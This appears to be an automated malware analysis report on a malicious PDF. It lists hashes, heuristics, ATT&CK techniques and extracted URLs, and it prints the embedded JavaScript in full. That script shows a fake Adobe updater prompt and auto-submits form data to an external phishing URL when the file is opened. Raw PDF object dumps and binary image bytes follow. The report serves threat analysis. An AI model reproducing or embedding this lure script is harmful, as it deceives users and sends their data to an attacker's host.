Malicious PDF — malware analysis report

Static analysis result for SHA-256 4e11fe397c974057…

MALICIOUS

PDF

107.4 KB Created: 2018-06-12 09:41:10 -04:00 First seen: 2021-07-13
MD5: cf43da30e1cce87d02261619ec5ed5e3 SHA-1: ed897fbde5dba3de1a54134d8f5ffc7f673444c9 SHA-256: 4e11fe397c974057bc0d2da3ea4ded1b67389a1bc24f4b3fc207860bff3a4d0d
160 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1566.001 Spearphishing Attachment T1074.001 Data Staged: Local Data Staging

The PDF file contains embedded JavaScript that automatically executes upon opening. This script displays a fake 'Adobe Acrobat Updater' prompt to the user and then attempts to submit form data to the URL 'https://report-scam.malwarebouncer.com/...'. This behavior strongly suggests a credential harvesting or phishing attempt, masquerading as a software update notification.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9477

Heuristics 8

  • PDF auto-runs JavaScript form submission on open critical PDF_OPENACTION_JS_SUBMITFORM
    PDF uses /OpenAction to run JavaScript that calls submitForm() with an external HTTP(S) URL. Opening the document triggers the outbound submission path without requiring a normal link click.
  • PDF JavaScript shows fake Acrobat updater prompt high PDF_FAKE_ACROBAT_UPDATE_LURE
    PDF JavaScript displays Acrobat/update-themed language such as a document rendering engine update or remote connection to Adobe servers. When paired with JavaScript or external submission, this is a social-engineering lure rather than benign document text.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Visual download / call-to-action button lure low SE_DOWNLOAD_BUTTON
    Document contains a call-to-action phrase ('Click here to download', 'Download Now', etc.) — low-signal unless other findings point to a malicious workflow
  • External URI info PDF_URI
    PDF contains an external URL action
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://report-scam.malwarebouncer.com/XWWs5RVUyOUVNWFpSWWk5d1QwcDBVRGR2YmtWTFYzZ3hjWFZZZFUxSE5IQjVSbVp1WVZaeWRXZFhaV3hxSzNOaVVUWklUamx3Ym5kWWFFUnVUMjF4V0cweVZFWkVRM0pEY0ZSb2NFaGhWekZsWXpGcU5rOTJSM1paZW5WMVkwcFdaMVlyUTFWSmExUnNNRkU5TFMwNGFTOWpOSHB4VVdKemRtOWxiM1ZKYURWaloxbG5QVDA9LS02ZGRjZjI4NzkzZjZiOTI4MzY1NjIwMTg2OGIyOTMzYzAyMzM1Y2Y0?cid=895259053#FDF Referenced by PDF JavaScript
    • https://report-scam.malwarebouncer.com/XY21KT1dGUmtjRXhNY1hGeU1pOHhkVmQyVUZBMFlpdHRWVlpUYURBeVVqTXhTMHB2Vm1oUVRWUkZXa3RCT1ZreFJVVkhVVloxYm1SYVQxSlZMMkpRUzBsbWJTdHlLMVpyUkZSRFl6TjJlRGQwYWk5ek5WVXpabkZ0VlVSNFlVVkhhR1JzTVhsNGIwMXJWRlE1UWpoWWFub3dhR2RFZEc1SVEwOUxTRXRDTjNsalRHY3dhM3B1TW1KMlFsTTRhVFpTTnpWWVRqRlhTMDl4T1N0d1ZVWnllSG8xV2tobVMzZ3dXR3BaUFMwdFUxSk1ZbGxsTDFFNGVtcDNaRk5JV2xwRVUwcGFVVDA5LS02YmEzMDMyODEwMzk3OGU1ZGFhZjYzZTg1OWU4MjRlM2E1ZjdmYTYx?cid=895259053Referenced by PDF JavaScript
    • https://report-scam.malwarebouncer.com/XY2k4dlRreHFURXBETmt0SU1IRjJRakIwVGpOcmFuTnBVbFpqYkVkVmVGZGFaVzF2UkhJeFRVTkVZVm93ZEZCMFNVUkhkRTV1Um5WUFVsazJla3h0TDBsSGEwVnFUR3QzV2xKRlV6TTJTblpyWkZwVVpqSlFNR3RFUVc5WU9FWjFaR2xKTkZsRFZHcFZTV1owUlVobGJsQnVPVk5VV1RRelMzZHRSMVZ5Wm5aWVpsWllNVmxKVFUxblJtMW9XR3cxYjJ4TWJXcHdlRk5RYTBGSU5WQlFhemdyWmtWQ1oyc3hNV2RKUFMwdFZGRXpjVzFMUjBzeVMySjJOV1F6YzB4T1VHUnNVVDA5LS01MjBkYmI4NTkzMDllNzZlMTNiNDZmOWIwYmExYTg1Y2Y3YTQ4N2U0?cid=895259053Referenced by PDF JavaScript
    • https://report-scam.malwarebouncer.com/XVEdSNWNUbEtjbUZQWmpCWmNuSkdWMlpEYURCemNFaE5hMVY1U1c5V2JXOXVWR1E0VkhCUE1qTlpkbTlDUjNOT2NtWXpXVmxKV1dWV1RqZGpOMnB5Y1ZCRE5tTlpja2xqVEhwSlptZFdVbXhKVVVGdlJFWjBPRGwyVFZsNlQzRTJWMWQyYWpoUE4zRXlRbFJRYzJsaGVEUnVNVmhzTUhkWk9FUmpUazlXUW5sYUx6ZDFSMWw0WlU1NlRUZFNWV2RHZW0xV1ZTc3lZVGd4TldoSWJFdHRZamM0UlVSblZuaHZZVFV3UFMwdFZVZGhibEJrYVVwdFRtUXZOR1JUTDB0TGRHZ3lVVDA5LS1hM2M0NTk5ZTFiMTU1MWM3N2I2MTJhYTUwZDMwZDkxYzRlZjMxZmQw?cid=895259053Referenced by PDF JavaScript
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#Referenced by PDF JavaScript
    • http://ns.adobe.com/xap/1.0/Referenced by PDF JavaScript
    • http://purl.org/dc/elements/1.1/In PDF document text
    • http://ns.adobe.com/xap/1.0/mm/In PDF document text
    • http://ns.adobe.com/tiff/1.0/Referenced by PDF JavaScript
    • http://ns.adobe.com/exif/1.0/Referenced by PDF JavaScript

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0012_000.js pdf-javascript-stream PDF /JS object 12 at offset 0x180A 608 bytes
SHA-256: ad353210982a1a771c5d233f31139dc579f1c70ab87d750c999f0c7cd1a69493
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
function docOpened()
{
app.alert({cMsg: 'We need to update your document rendering engine. Click OK to continue, when prompted allow remote connection to Adobe servers.', cTitle: 'Adobe Acrobat Updater',nIcon: 3});
app.doc.submitForm('https://report-scam.malwarebouncer.com/XWWs5RVUyOUVNWFpSWWk5d1QwcDBVRGR2YmtWTFYzZ3hjWFZZZFUxSE5IQjVSbVp1WVZaeWRXZFhaV3hxSzNOaVVUWklUamx3Ym5kWWFFUnVUMjF4V0cweVZFWkVRM0pEY0ZSb2NFaGhWekZsWXpGcU5rOTJSM1paZW5WMVkwcFdaMVlyUTFWSmExUnNNRkU5TFMwNGFTOWpOSHB4VVdKemRtOWxiM1ZKYURWaloxbG5QVDA9LS02ZGRjZjI4NzkzZjZiOTI4MzY1NjIwMTg2OGIyOTMzYzAyMzM1Y2Y0?cid=895259053#FDF');
}

docOpened();
javascript_obj0012_001.js pdf-javascript-stream PDF /JS object 12 at offset 0x1831 103754 bytes
SHA-256: ba0376d965049101d4bf1b94ffbe840ca0bb87bea6b47eec1c26fb0fc57ddd00
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 8 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
function docOpened()
{
app.alert({cMsg: 'We need to update your document rendering engine. Click OK to continue, when prompted allow remote connection to Adobe servers.', cTitle: 'Adobe Acrobat Updater',nIcon: 3});
app.doc.submitForm('https://report-scam.malwarebouncer.com/XWWs5RVUyOUVNWFpSWWk5d1QwcDBVRGR2YmtWTFYzZ3hjWFZZZFUxSE5IQjVSbVp1WVZaeWRXZFhaV3hxSzNOaVVUWklUamx3Ym5kWWFFUnVUMjF4V0cweVZFWkVRM0pEY0ZSb2NFaGhWekZsWXpGcU5rOTJSM1paZW5WMVkwcFdaMVlyUTFWSmExUnNNRkU5TFMwNGFTOWpOSHB4VVdKemRtOWxiM1ZKYURWaloxbG5QVDA9LS02ZGRjZjI4NzkzZjZiOTI4MzY1NjIwMTg2OGIyOTMzYzAyMzM1Y2Y0?cid=895259053#FDF');
}

docOpened();
endstream
endobj

%QDF: ignore_newline
13 0 obj
483
endobj

%% Page 1
%% Original object ID: 16 0
14 0 obj
<<
  /Annots 15 0 R
  /Contents 16 0 R
  /CropBox [
    0
    0
    612
    792
  ]
  /MediaBox [
    0
    0
    612
    792
  ]
  /Parent 8 0 R
  /Resources <<
    /Font <<
      /C0_0 18 0 R
      /C0_1 19 0 R
      /C0_2 20 0 R
    >>
    /ProcSet [
      /PDF
      /Text
      /ImageC
    ]
    /XObject <<
      /Im0 21 0 R
      /Im1 23 0 R
      /Im2 25 0 R
    >>
  >>
  /Rotate 0
  /Type /Page
>>
endobj

%% Original object ID: 32 0
15 0 obj
[
  27 0 R
  28 0 R
  29 0 R
]
endobj

%% Contents for page 1
%% Original object ID: 18 0
16 0 obj
<<
  /Length 17 0 R
>>
stream
q
404.8937073 0 0 269.9337463 107.3061676 460.5401001 cm
/Im0 Do
Q
BT
/C0_0 12 Tf
1 0 0.2679 1 116.07 441.387 Tm
<00350049004a005400010045005000440056004e0046004f00550001004a005400010046004f00440053005a0051005500460045000100560054004a004f0048000100220045005000430046000100340046004400560053004600010024004d005000560045>Tj
/C0_1 12 Tf
<00e4>Tj
/C0_0 12 Tf
<000f0001>Tj
4.179 -15.6 Td
<0024004d004a0044004c000100430046004d005000580001005500500001005400460044005600530046004d005a00010057004a00460058000100440050004f00550046004f00550054000f0001>Tj
ET
/TouchUp_TextEdit MP
BT
0 i 
/C0_2 10 Tf
158.323 52.725 Td
<0031004d00460042005400460001004f005000550046001b000100340050004e00460001005800460043004e0042004a004d00010044004d004a0046004f0055005400010042005300460001004f00500055000100440050004e005100420055004a0043004d004600010058004a005500490001002200450050004300460001>Tj
0 -12 TD
<00340046004400560053004600010024004d00500056004500e4000f0001002a004700010055004900420055000100490042005100510046004f0054000d0001004500500058004f004d005000420045000100550049004600010047004a004d004600010042004f00450001005000510046004f00010050004f0001>Tj
T*
<002500460054004c005500500051000f>Tj
ET
q
56.1389923 0 0 43.9851837 94.3450775 23.5263672 cm
/Im1 Do
Q
q
157.0927124 0 0 36.2528992 230.401001 342.7270813 cm
/Im2 Do
Q
endstream
endobj

17 0 obj
1300
endobj

%% Original object ID: 40 0
18 0 obj
<<
  /BaseFont /KUFUSM+HiraKakuProN-W6
  /DescendantFonts 30 0 R
  /Encoding /Identity-H
  /Subtype /Type0
  /ToUnicode 31 0 R
  /Type /Font
>>
endobj

%% Original object ID: 42 0
19 0 obj
<<
  /BaseFont /VGWIQQ+HiraKakuProN-W6
  /DescendantFonts 33 0 R
  /Encoding /Identity-H
  /Subtype /Type0
  /ToUnicode 34 0 R
  /Type /Font
>>
endobj

%% Original object ID: 44 0
20 0 obj
<<
  /BaseFont /JSIEEO+HiraKakuProN-W6
  /DescendantFonts 36 0 R
  /Encoding /Identity-H
  /Subtype /Type0
  /ToUnicode 37 0 R
  /Type /Font
>>
endobj

%% Original object ID: 25 0
21 0 obj
<<
  /BitsPerComponent 8
  /ColorSpace /DeviceRGB
  /Filter /DCTDecode
  /Height 400
  /Metadata 39 0 R
  /Name /X
  /Subtype /Image
  /Type /XObject
  /Width 600
  /Length 22 0 R
>>
stream
����  JFIF          ��  JFIF          �� C                        	 	                            &""&0-0>>T�� C                        	 	                            &""&0-0>>T��    � X  "       ��                            	
 �� �                }        !1A  Qa "q 2��� #B�� R��$3br�	
     %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz���������������������������������������������������������������������������                            	
 �� �                w       !1  AQ aq "2�  B����	#3R� br�
 $4�%�    &'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz��������������������������������������������������������������������������          ? ��sKL� ^�����h� R� ( Դ�
... (truncated)
font_00_cff_off0001966f.bin pdf-font-stream PDF embedded font (cff) at offset 0x1966F 4575 bytes
SHA-256: 9340d372ad75a105fdb1627a30e96f892e0dc7d9588c0150cf06b4fa72281cc0

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